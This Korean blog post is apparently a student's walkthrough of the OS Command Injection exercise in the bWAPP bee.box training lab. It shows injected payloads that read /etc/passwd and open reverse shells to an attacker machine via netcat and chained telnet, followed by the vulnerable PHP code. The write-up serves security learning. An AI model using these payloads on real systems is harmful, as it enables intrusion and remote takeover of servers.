Tiny Bunny

Rookies/애플리케이션 보안

[SK shieldus Rookies 19기] bWAPP bee.box - OS Command Injection

bento 2024. 3. 26. 03:05
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정

01. OS Command Injection

풀이 전 설정 추가!


OS Command Injection / low 으로 설정

 

= nslookup 결과

dns서버에 질의해서 도메인의 정보를 조회

 

결과가 같음 = 입력 값이 검증 없이 내부 운영체제 명령어 실행에 사용되는구나

 

확인을 위해 추가적인 명령어를 넣어 실행해보자

www.naver.com ; cat /etc/passwd

접근 제한이 필요한 시스템 파일에 접근이 가능

 

02. NC(netcat)을 이용한 리버스 커넥션

8282포트를 리스닝하는 서버 실행

 

www.naver.com ; nc kali.linux 8282 -e /bin/bash

nc 공격자주소 포트번호 → 주소와 포트번호로 연결

-e /bin/bash → 연결에 성공하면 /bin/bash 실행

 

취약점을 가진 웹 페이지에 삽입

 

whoami www-data

pwd /var/www/bWAPP

 

nc가 설치돼있어야 가능

그렇다면 telnet을 이용해서 해보자

 

03. telnet을 이용한 리버스 커넥션

 

터미널 1   nc -l -p 8282

터미널 2   nc -l -p 9292

 

www.naver.com | sleep 1000 | telnet kali.linux 8282 | /bin/bash | telnet kali.linux 9292

sleep 1000 1000초 멈춤 (nslookup결과를 연장 시키기 위함)

telnet kali.linux 8282 칼리의 8282 포트에 연결하고, 입력이 생기면 /bin/bash 옮김

/bin/bash의 실행결과가 있으면

telnet kali.linux 9292 으로 이동

 

칼리 서버로 연결하는 명령문 전달

명령어 전달 후 실행 결과 확인

 

04. 취약한 소스코드

<div id="main">

    <h1>OS Command Injection</h1>

    <form action="<?php echo($_SERVER["SCRIPT_NAME"]);?>" method="POST">

        <p>

        <label for="target">DNS lookup:</label>
        <input type="text" id="target" name="target" value="www.nsa.gov">

        <button type="submit" name="form" value="submit">Lookup</button>

        </p>

    </form>
    <?php

    if(isset($_POST["target"]))
    {

        $target = $_POST["target"];

        if($target == "")
        {

            echo "<font color=\"red\">Enter a domain name...</font>";

        }

        else
        {

            echo "<p align=\"left\"><pre>" . shell_exec("nslookup  " . commandi($target)) . "</pre></p>";

        }

    }

    ?>

</div>

shell_exec("nslookup  " . commandi($target))

 

728x90